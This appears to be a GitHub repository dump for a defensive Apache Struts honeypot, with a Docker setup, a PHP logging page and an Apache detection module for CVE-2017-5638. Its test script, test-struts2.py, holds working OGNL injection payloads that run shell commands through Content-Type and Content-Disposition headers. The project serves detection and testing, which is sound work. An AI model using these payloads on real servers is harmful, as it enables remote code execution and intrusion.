├── .gitignore ├── LICENSE ├── README.md ├── mod_contentrap ├── Makefile └── mod_contentrap.c ├── strutspot_docker ├── Dockerfile ├── conf │ └── headers.conf └── src │ ├── .htaccess │ ├── apache.png │ ├── cover.css │ ├── index.php │ └── struts.svg └── test-struts2.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Cymmetria 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # StrutsHoneypot 2 | Cymmetria Research, 2017. 3 | 4 | https://www.cymmetria.com/ 5 | 6 | Written by: Nir Krakowski (@nirkrakowksi), Imri Goldberg (@lorgandon) 7 | 8 | Contact: research@cymmetria.com Contact: research@cymmetria.com 9 | 10 | StrutsHoneypot is an Apache 2 based honeypot that includes a seperate detection module (apache mod) for Apache 2 servers that detects and/or blocks the sturts CVE 2017-5638 11 | exploit. It is released under the MIT license for the use of the community. 12 | 13 | 14 | Please consider trying out the MazeRunner Community Edition, the free version of our cyber deception platform. 15 | https://community.cymmetria.com/ 16 | 17 | # Honeypot Installation, Running and Monitoring 18 | - Now with added support (Honeypot only) for content disposition filename parsing vulnerability. 19 | 20 | Installation (Ubuntu) 21 | ---------------- 22 | - apt-get update 23 | - apt-get install docker.io 24 | - docker build -t struts_honeypot strutspot_docker/ 25 | 26 | Running the Honeypot 27 | -------------------- 28 | docker run -p 80:80 --name "mystrutspot_docker" -d struts_honeypot 29 | 30 | 31 | Accessing the logs 32 | ------------------ 33 | Run 'docker ps' to validate the docker name: "mystrutspot_docker" 34 | 35 | Then run 'docker exec -t -i mystrutspot_docker cat /var/log/apache2/error.log' 36 | 37 | # Testing 38 | Prerequisites 39 | ------------- 40 | - apt-get install python2.7 python-pip 41 | - pip install requests 42 | 43 | Rebuilding the Honeypot 44 | ----------------------- 45 | docker kill mystrutspot_docker 46 | docker rm mystrutspot_docker 47 | docker build -t struts_honeypot strutspot_docker/ 48 | 49 | Then use test-struts2.py like below: 50 | 51 | Usage: 52 | 53 | ./test-struts2.py 54 | 55 | e.g: ./test-struts2.py http://localhost/ 56 | 57 | - This will test for both vulnerabilities. You should be able to see 58 | 59 | Detailed Info 60 | ------------ 61 | The Honeypot uses mod_rewrite (see strutspot_docker/src/.htaccess) RewriteRule directive to redirect all requests to the same url. 62 | To avoid redirection for cover.css, apache.png, and struts.svg it has seperate rule for it. 63 | The Honeypot uses error_log() to send a JSON comment containing the connection info and other data to the apache default error log file. 64 | mod_headers is used to avoid default parsing by php for multipart/form-data. so it is modified to mmultipart/form-data before reaching the php parser. 65 | 66 | Editing the Honeypot Website 67 | ---------------------------- 68 | Edit strutspot_docker/src/index.php and related ehtml files to add your own flavor to the honeypot itself. 69 | Inside the index.php as 15 | 16 | 17 | #define CONTENT_TYPE_REGEXP "(%{|#)" 18 | 19 | #define WARN_ONLY 1 20 | 21 | static int x_handler(request_rec *r) { 22 | char *val = NULL; 23 | const apr_array_header_t *fields = NULL; 24 | int i = 0, match = 0; 25 | apr_table_entry_t *e = 0; 26 | ap_regex_t *regexp = NULL; 27 | ap_regmatch_t regmatch[AP_MAX_REG_MATCH]; 28 | 29 | if (r->header_only) { 30 | return DECLINED; 31 | } 32 | // no need to free, this will be freed with the rest of the request pool. 33 | regexp = ap_pregcomp(r->pool, CONTENT_TYPE_REGEXP, AP_REG_EXTENDED | AP_REG_ICASE); 34 | if (!regexp) { 35 | return DECLINED; 36 | } 37 | // get header fields 38 | fields = apr_table_elts(r->headers_in); 39 | if (fields == NULL) { 40 | return DECLINED; 41 | } 42 | e = (apr_table_entry_t *) fields->elts; 43 | match = 0; 44 | for(i = 0; i < fields->nelts; i++) { 45 | //compare case insensitive for Content-Type headers, if there's a match. continue to execute the regexp. 46 | if (strcasecmp(e[i].key, "Content-Type") == 0) { 47 | int rc = ap_regexec(regexp, e[i].val, AP_MAX_REG_MATCH, regmatch, 0); 48 | if (rc == 0) { 49 | val = e[i].val; 50 | match = 1; 51 | break; 52 | } 53 | } 54 | } 55 | if (!match) { 56 | return DECLINED; 57 | } 58 | else if (match && WARN_ONLY) { 59 | ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, "Content-Type Defense=\"%s\"", val); 60 | return DECLINED; 61 | } 62 | 63 | ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, "Content-Type Defense=\"%s\"", val); 64 | ap_set_content_type(r, "text/html"); 65 | ap_rputs(DOCTYPE_HTML_3_2, r); 66 | ap_rputs("\n", r); 67 | ap_rputs(" \n", r); 68 | ap_rputs(" \n", r); 69 | ap_rputs(" \n", r); 70 | ap_rputs("I just love scanning for lifeforms. Lifeforms... you tiny little lifeforms... you precious little lifeforms... where are you?\n
", r);
71 |     ap_rputs("
\n", r); 72 | ap_rputs("\n", r); 73 | return OK; 74 | } 75 | 76 | static void register_hooks(apr_pool_t *p) { 77 | ap_hook_handler(x_handler, NULL, NULL, APR_HOOK_MIDDLE); 78 | } 79 | 80 | 81 | AP_DECLARE_MODULE(contentrap) = { 82 | STANDARD20_MODULE_STUFF, 83 | NULL, /* create per-dir config structures */ 84 | NULL, /* merge per-dir config structures */ 85 | NULL, /* create per-server config structures */ 86 | NULL, /* merge per-server config structures */ 87 | NULL, /* table of config file commands */ 88 | register_hooks /* register hooks */ 89 | }; 90 | 91 | -------------------------------------------------------------------------------- /strutspot_docker/Dockerfile: -------------------------------------------------------------------------------- 1 | #inherit from apache and php7 2 | FROM php:7.0-apache 3 | 4 | RUN a2enmod rewrite 5 | RUN a2enmod headers 6 | 7 | COPY src/ /var/www/html/ 8 | COPY conf/headers.conf /etc/apache2/mods-enabled/ 9 | 10 | 11 | #dont output the logs to stdout/stderr 12 | RUN rm /var/log/apache2/error.log && touch /var/log/apache2/error.log 13 | RUN rm /var/log/apache2/access.log && touch /var/log/apache2/access.log 14 | 15 | EXPOSE 80 16 | -------------------------------------------------------------------------------- /strutspot_docker/conf/headers.conf: -------------------------------------------------------------------------------- 1 | 2 | RequestHeader edit Content-Type ^multipart mmultipart early 3 | 4 | -------------------------------------------------------------------------------- /strutspot_docker/src/.htaccess: -------------------------------------------------------------------------------- 1 | RewriteEngine on 2 | RewriteRule ^cover\.css$ cover.css [END] 3 | RewriteRule ^apache\.png$ apache.png [END] 4 | RewriteRule ^struts\.svg$ struts.svg [END] 5 | RewriteRule ^(.*)$ index.php?origurl=$1 [QSA] 6 | -------------------------------------------------------------------------------- /strutspot_docker/src/apache.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cymmetria/StrutsHoneypot/8be5370aa070d5fc39c48b2060d2513c5617525f/strutspot_docker/src/apache.png -------------------------------------------------------------------------------- /strutspot_docker/src/cover.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Globals 3 | */ 4 | 5 | /* Links */ 6 | a, 7 | a:focus, 8 | a:hover { 9 | color: #fff; 10 | } 11 | 12 | /* Custom default button */ 13 | .btn-default, 14 | .btn-default:hover, 15 | .btn-default:focus { 16 | color: #333; 17 | text-shadow: none; /* Prevent inheritance from `body` */ 18 | background-color: #fff; 19 | border: 1px solid #fff; 20 | } 21 | 22 | 23 | /* 24 | * Base structure 25 | */ 26 | 27 | html, 28 | body { 29 | height: 100%; 30 | background-color: #333; 31 | } 32 | body { 33 | color: #fff; 34 | text-align: center; 35 | text-shadow: 0 1px 3px rgba(0,0,0,.5); 36 | } 37 | 38 | /* Extra markup and styles for table-esque vertical and horizontal centering */ 39 | .site-wrapper { 40 | display: table; 41 | width: 100%; 42 | height: 100%; /* For at least Firefox */ 43 | min-height: 100%; 44 | -webkit-box-shadow: inset 0 0 100px rgba(0,0,0,.5); 45 | box-shadow: inset 0 0 100px rgba(0,0,0,.5); 46 | } 47 | .site-wrapper-inner { 48 | display: table-cell; 49 | vertical-align: top; 50 | } 51 | .cover-container { 52 | margin-right: auto; 53 | margin-left: auto; 54 | } 55 | 56 | /* Padding for spacing */ 57 | .inner { 58 | padding: 30px; 59 | } 60 | 61 | 62 | /* 63 | * Header 64 | */ 65 | .masthead-brand { 66 | margin-top: 10px; 67 | margin-bottom: 10px; 68 | } 69 | 70 | .masthead-nav > li { 71 | display: inline-block; 72 | } 73 | .masthead-nav > li + li { 74 | margin-left: 20px; 75 | } 76 | .masthead-nav > li > a { 77 | padding-right: 0; 78 | padding-left: 0; 79 | font-size: 16px; 80 | font-weight: bold; 81 | color: #fff; /* IE8 proofing */ 82 | color: rgba(255,255,255,.75); 83 | border-bottom: 2px solid transparent; 84 | } 85 | .masthead-nav > li > a:hover, 86 | .masthead-nav > li > a:focus { 87 | background-color: transparent; 88 | border-bottom-color: #a9a9a9; 89 | border-bottom-color: rgba(255,255,255,.25); 90 | } 91 | .masthead-nav > .active > a, 92 | .masthead-nav > .active > a:hover, 93 | .masthead-nav > .active > a:focus { 94 | color: #fff; 95 | border-bottom-color: #fff; 96 | } 97 | 98 | @media (min-width: 768px) { 99 | .masthead-brand { 100 | float: left; 101 | } 102 | .masthead-nav { 103 | float: right; 104 | } 105 | } 106 | 107 | 108 | /* 109 | * Cover 110 | */ 111 | 112 | .cover { 113 | padding: 0 20px; 114 | } 115 | .cover .btn-lg { 116 | padding: 10px 20px; 117 | font-weight: bold; 118 | } 119 | 120 | 121 | /* 122 | * Footer 123 | */ 124 | 125 | .mastfoot { 126 | color: #999; /* IE8 proofing */ 127 | color: rgba(255,255,255,.5); 128 | } 129 | 130 | 131 | /* 132 | * Affix and center 133 | */ 134 | 135 | @media (min-width: 768px) { 136 | /* Pull out the header and footer */ 137 | .masthead { 138 | position: fixed; 139 | top: 0; 140 | } 141 | .mastfoot { 142 | position: fixed; 143 | bottom: 0; 144 | } 145 | /* Start the vertical centering */ 146 | .site-wrapper-inner { 147 | vertical-align: middle; 148 | } 149 | /* Handle the widths */ 150 | .masthead, 151 | .mastfoot, 152 | .cover-container { 153 | width: 100%; /* Must be percentage or pixels for horizontal alignment */ 154 | } 155 | } 156 | 157 | @media (min-width: 992px) { 158 | .masthead, 159 | .mastfoot, 160 | .cover-container { 161 | width: 700px; 162 | } 163 | } 164 | -------------------------------------------------------------------------------- /strutspot_docker/src/index.php: -------------------------------------------------------------------------------- 1 |
\n");
 13 | //check case insensitive headers.
 14 | foreach ($hdrs as $name => $value) {
 15 | 	if ('content-type' == strtolower($name)) {
 16 | 		$ct = $hdrs[$name];
 17 | 		$boundary = "";
 18 | 
 19 | 		if (preg_match($NEVER_USED_NAME_CHARS_REGEX, $ct)) {
 20 | 			$match = 1;
 21 | 		}
 22 | 		elseif (preg_match($CONTENT_TYPE_DISPOSITION_INDICATOR_REGEX, $ct, $matches)) {
 23 | 			$boundary = $matches[1];
 24 | 
 25 | 			$post_data = file_get_contents("php://input");
 26 | 
 27 | 			//search for the content disposition header,and look for the filename= field.
 28 | 			// if it exists, check the validity of the name.
 29 | 			if (preg_match_all("/" . $boundary . $CONTENT_DISPOSITION_PARSING_REGEX_END, $post_data, $matches)) {
 30 | 				foreach ($matches[5] as $cd) {
 31 | 					if (preg_match($NEVER_USED_NAME_CHARS_REGEX, $cd)) {
 32 | 						$match = 1;
 33 | 						$con_disp = $cd;
 34 | 					}
 35 | 				}
 36 | 			}
 37 | 		}
 38 | 
 39 | 	}
 40 | 	elseif ('user-agent' == strtolower($name)) {
 41 | 		$ua = $hdrs[$name];
 42 | 	}
 43 | }
 44 | 
 45 | if ($match == 1) {
 46 | 	//create log JSON
 47 | 	$marr = [ "src" => $_SERVER['REMOTE_ADDR'] , "sport" => $_SERVER['REMOTE_PORT'], "dst" => $_SERVER['SERVER_NAME'], "dport" => $_SERVER['SERVER_PORT'],
 48 | 		"uri" => $_SERVER['REQUEST_URI'], "method" => $_SERVER['REQUEST_METHOD'], "ua" => $ua, "ctype" => $ct, "cdisposition" => $con_disp];
 49 | 
 50 | 	//encode as JSON
 51 | 	$msg = json_encode($marr);
 52 | 	//send to apache/php default error log
 53 | 	error_log($msg);
 54 | }
 55 | //for debugging purposes: print("
\n"); 56 | //exit(0); 57 | ?> 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 |
73 | 74 |
75 | 76 |
77 | 78 |
79 |
80 |

Uploader

81 | 88 |
89 |
90 | 91 |
92 |

Upload video to storage

93 |

94 | Select image to upload: 95 |

96 | 97 | 98 |

99 | 100 |
101 |

102 |
103 | 104 |
105 |
106 |

107 | Powered by
108 | Powered by 109 |

110 |
111 |
112 | 113 |
114 | 115 |
116 | 117 |
118 | 119 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | -------------------------------------------------------------------------------- /strutspot_docker/src/struts.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | 8 | 11 | 12 | 15 | 17 | 18 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /test-struts2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import urllib2 4 | import requests 5 | import httplib 6 | 7 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 8 | 9 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 10 | 11 | #uso: python script.py "" 12 | 13 | def exploit_ct(url): 14 | payload = "%{(#_='multipart/form-data')." 15 | payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." 16 | payload += "(#_memberAccess?" 17 | payload += "(#_memberAccess=#dm):" 18 | payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 19 | payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." 20 | payload += "(#ognlUtil.getExcludedPackageNames().clear())." 21 | payload += "(#ognlUtil.getExcludedClasses().clear())." 22 | payload += "(#context.setMemberAccess(#dm))))." 23 | payload += "(#cmd='dir')." 24 | payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 25 | payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." 26 | payload += "(#p=new java.lang.ProcessBuilder(#cmds))." 27 | payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." 28 | payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." 29 | payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." 30 | payload += "(#ros.flush())}" 31 | 32 | try: 33 | 34 | headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} 35 | #request = urllib2.Request(url, headers=headers) 36 | request = requests.get(url, headers=headers,verify=False) 37 | #page = urllib2.urlopen(request).read() 38 | 39 | except httplib.IncompleteRead, e: 40 | 41 | request = e.partial 42 | 43 | print(request.text) 44 | 45 | return request 46 | 47 | 48 | def exploit_cd(url): 49 | cd_boundary = "---------------------------735323031399963166993862150" 50 | content_type = "multipart/form-data; boundary=%s" % (cd_boundary,) 51 | 52 | filename_payload = "%{(#nike='multipart/form-data')" 53 | filename_payload += ".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" 54 | filename_payload += ".(#_memberAccess?(#_memberAccess=#dm):(" 55 | filename_payload += "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" 56 | filename_payload += ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" 57 | filename_payload += ".(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())." 58 | filename_payload += "(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 59 | filename_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." 60 | filename_payload += "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." 61 | filename_payload += "(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))" 62 | filename_payload += ".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 63 | 64 | cd_name = "foo" 65 | cd_payload = "--%s\r\nContent-Disposition: form-data; name=\"%s\"; " 66 | cd_payload += "filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" 67 | cd_payload = cd_payload % (cd_boundary, cd_name, filename_payload, cd_boundary) 68 | 69 | try: 70 | 71 | headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': content_type} 72 | #request = urllib2.Request(url, headers=headers) 73 | request = requests.post(url, cd_payload, headers=headers,verify=False) 74 | #page = urllib2.urlopen(request).read() 75 | 76 | except httplib.IncompleteRead, e: 77 | 78 | request = e.partial 79 | 80 | print(request.text) 81 | 82 | return request 83 | 84 | 85 | def main(): 86 | import sys 87 | if len(sys.argv) != 2: 88 | print("Usage: %s " % sys.argv[0]) 89 | return 90 | print(""); 91 | print("\te.g: %s http://localhost/" % sys.argv[0]) 92 | print(""); 93 | 94 | print("[*] CVE: 2017-5638 - Apache Struts2 S2-045") 95 | url = sys.argv[1] 96 | 97 | print("[*] cmd: %s\n" % 'dir') 98 | print("[*] Attempt #1: Content-Length exploit") 99 | exploit_ct(url) 100 | print("[*] Attempt #2: Content-Disposition exploit") 101 | exploit_cd(url) 102 | 103 | 104 | if __name__ == '__main__': 105 | main() 106 | 107 | --------------------------------------------------------------------------------